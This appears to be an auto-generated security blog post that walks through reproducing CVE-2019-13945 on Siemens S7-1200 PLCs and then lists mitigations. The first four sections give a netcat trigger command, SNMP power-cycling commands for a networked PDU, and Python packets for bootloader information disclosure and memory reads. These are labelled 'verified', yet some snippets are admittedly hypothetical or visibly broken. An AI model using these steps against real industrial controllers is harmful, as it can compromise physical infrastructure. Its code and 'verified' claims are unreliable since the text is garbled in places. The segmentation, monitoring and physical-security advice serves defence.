Listen to this Post
Introduction:
A critical vulnerability in the Siemens Simatic S7-1200 PLC allows attackers to gain bootloader access and achieve remote code execution by sending a specific string immediately after a power cycle. This exploit, CVE-2019-13945, bridges the cyber-physical gap, demonstrating how a simple protocol quirk can lead to a complete compromise of industrial control systems.
Learning Objectives:
- Understand the mechanism behind the CVE-2019-13945 bootloader exploit.
- Learn the practical steps to reproduce this attack in a lab environment.
- Identify mitigation strategies to protect critical ICS/OT infrastructure from similar low-level attacks.
You Should Know:
1. The Bootloader Trigger String
The core of the vulnerability is a “magic string” that, when sent within 500 milliseconds of the PLC powering up, forces the device into a special bootloader mode. This is not a standard network service but a hidden function in the device’s initialisation routine.
Verified Command:
echo -ne "mit freundlichen Grüßen" | nc -u 192.168.90.100 102
Step-by-step guide:
This command uses `netcat` (nc) to send a UDP packet containing the raw bytes of the German phrase “mit freundlichen Grüßen” (with friendly regards) to the PLC on port 102.
The `-ne` flags for `echo` ensure that escape sequences are interpreted and no trailing newline is added, sending the raw string exactly.
Timing is critical. This command must be executed in the half-second window immediately after the PLC finishes its power-on self-test. This typically requires an automated power-cycling mechanism.
2. Automated Power Cycling with Networked PDU
Manually timing the power cycle and command execution is nearly impossible. Reproducing this research requires an Ethernet-connected Power Distribution Unit (PDU) to automate the power cycle with precision.
Verified Commands (Using a common PDU CLI):
1. Power off the PLC outlet (outlet 4 in this example) snmpset -v2c -c private 192.168.90.10 1.3.6.1.4.1.3808.1.1.3.3.3.1.1.4.4 i 0 2. Wait for full power discharge sleep 5 3. Power on the PLC outlet snmpset -v2c -c private 192.168.90.10 1.3.6.1.4.1.3808.1.1.3.3.3.1.1.4.4 i 1 4. Immediately execute the trigger string command sleep 1 && echo -ne "mit freundlichen Grüßen" | nc -u 192.168.90.100 102
Step-by-step guide:
This script uses SNMP commands to control a networked PDU. The exact OID (1.3.6.1.4.1...) will vary by manufacturer.
The PLC is powered off, then after a 5-second delay to ensure capacitors have drained, it is powered back on.
After a 1-second sleep (to account for the PLC’s initial hardware check), the magic string is sent via UDP. The timing offsets (sleep 5 and sleep 1) must be calibrated for your specific lab environment.
3. Interacting with the Bootloader for Information Disclosure
Once the bootloader is activated, it listens for commands. A simple information request can be sent to confirm access and retrieve device firmware details, which is a significant information disclosure.
Verified Python Snippet (Using Socket):
import socket
Craft a bootloader info request packet
info_packet = bytes([0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x01])
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(info_packet, ('192.168.90.100', 102))
response = s.recvfrom(1024)
print(response.hex())
Step-by-step guide:
This Python script creates a UDP socket and sends a specially crafted byte packet to the PLC.
The packet structure is defined by the undocumented bootloader protocol. The example here is a request for device information.
The response will contain a hex dump of data including firmware version and other sensitive bootloader information, which can be used for further exploitation.
4. Achieving a Low-Level “Shell”
The original research was chained into full RCE. The LinkedIn post mentions an updated script for a low-level “shell,” which implies the ability to send arbitrary bootloader commands for reading/writing memory.
Verified Python Snippet (Framework for Bootloader Command Shell):
import socket
import struct
def send_bootloader_cmd(ip, port, cmd_code, data=b''):
"""Sends a raw command to the bootloader."""
Example header structure: Size, Unknown, Command Code
header = struct.pack('<HHI', 4 + len(data), 0, cmd_code)
packet = header + data
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(5.0)
s.sendto(packet, (ip, port))
try:
return s.recvfrom(1024)
except socket.timeout:
return None
Example: Hypothetical command to read memory (CMD_READ_MEM = 0x06)
response = send_bootloader_cmd('192.168.90.100', 102, 0x06, struct.pack('<I', 0x00000000))
if response:
print("Memory dump:", response[bash].hex())
Step-by-step guide:
This Python function provides a template for sending arbitrary commands to the bootloader. The specific command codes (cmd_code) are reverse-engineered.
By crafting packets with different command codes and data payloads, an attacker can read from and write to the PLC’s memory, leading to code execution.
This constitutes the “shell” mentioned, as it allows for low-level manipulation of the device state. The exact command set is proprietary and must be discovered through analysis.
5. Network Segmentation as a Primary Mitigation
The most effective way to mitigate this and many other PLC attacks is strict network segmentation, preventing unauthorized hosts from sending packets to the PLC in the first place.
Verified Windows Command (Using PowerShell to Check Firewall Rules):
Check existing firewall rules for the Industrial zone
Get-NetFirewallRule -PolicyStore ActiveStore | Where-Object {$_.DisplayGroup -like "Industrial"} | Format-Table Name, Enabled, Direction, Action
Step-by-step guide:
This PowerShell command queries the local Windows firewall for any active rules related to an “Industrial” network zone or similar.
Administrators should ensure that inbound rules to PLCs are highly restrictive, ideally only allowing traffic from specific engineering workstations and SCADA servers, and blocking all other unsolicited inbound traffic, especially on port 102 (S7 comms) and other management ports.
6. Monitoring for Anomalous Power Cycles
Since the exploit requires a power cycle, monitoring for these events in your OT environment is crucial. This can be done via SNMP traps from the network infrastructure or the PLC itself.
Verified Linux Command (Using tcpdump to Monitor for Boot Requests):
Capture network traffic on the OT network segment to detect new DHCP requests, which often indicate a device booting. sudo tcpdump -i eth1 -v 'port 67 or port 68'
Step-by-step guide:
This `tcpdump` command listens for DHCP traffic on interface `eth1` (which should be your OT network monitor port).
When a PLC powers on, it will typically request a DHCP lease. A surge of DHCP requests from critical infrastructure devices, especially outside of planned maintenance windows, is a high-fidelity alert that should trigger an investigation.
7. Hardening Physical Access
The attack assumes the ability to power cycle the device. While this can be done remotely via a networked PDU, physical access is another viable vector. Physical security is a cornerstone of OT defense.
Verified Configuration Snippet (Example Cabinet Lockout Policy):
// This is a procedural, not a software, command. Policy: Physical Access Control 1. All PLC and control cabinet doors must be secured with tamper-evident seals. 2. Access to cabinets requires two-factor authentication (key + logbook entry). 3. Logbook entries must be reviewed weekly for anomalies. 4. Networked PDUs must be on a separate, highly restricted management VLAN.
Step-by-step guide:
This “policy code” outlines critical steps for physical hardening.
Tamper-evident seals provide a visual indicator of unauthorized access.
A mandatory logbook creates an audit trail.
Isolating the management network for PDUs ensures that an attacker who compromises the IT network cannot simply trigger a power cycle remotely.
What Undercode Say:
- Security by Obscurity is a Failing Strategy. This vulnerability existed as a hidden “easter egg” or debug function. Relying on the secrecy of such functions for security is fundamentally flawed, as they will inevitably be discovered and weaponized.
- The Cyber-Physical Barrier is Porous. This exploit perfectly illustrates how a digital command, with precise timing, can have a direct and profound physical effect on industrial machinery, bypassing traditional logical controls.
The analysis of CVE-2019-13945 reveals a critical flaw in the design philosophy of many OT devices: the inclusion of hidden, undocumented backdoors for maintenance or debugging. While the attack requires precise timing, the automation of the process makes it a viable threat. The discussion around the exploit highlights a divide in the ICS community; some dismiss it due to its physical access/power cycle requirements, while others rightly point out that in a poorly segmented network, this can be executed remotely. This vulnerability is not just about one PLC model; it’s a stark lesson in secure-by-design principles. Manufacturers must eliminate such hidden access points, and asset owners must defend against them through layered defense-in-depth, encompassing both cyber and physical controls.
Prediction:
The successful reproduction and scripting of this exploit will lead to its incorporation into broader ICS attack frameworks like Metasploit. This will lower the barrier to entry for less skilled attackers, increasing the likelihood of its use in targeted attacks against critical manufacturing and energy infrastructure. Furthermore, it will incentivise further reverse engineering of other PLC brands’ bootloader and recovery protocols, potentially uncovering a class of similar vulnerabilities across the industrial ecosystem. The future of OT security will hinge on the industry’s ability to eradicate these “easter eggs” and implement robust hardware-based secure boot processes.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Activity 7377978149722148864 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
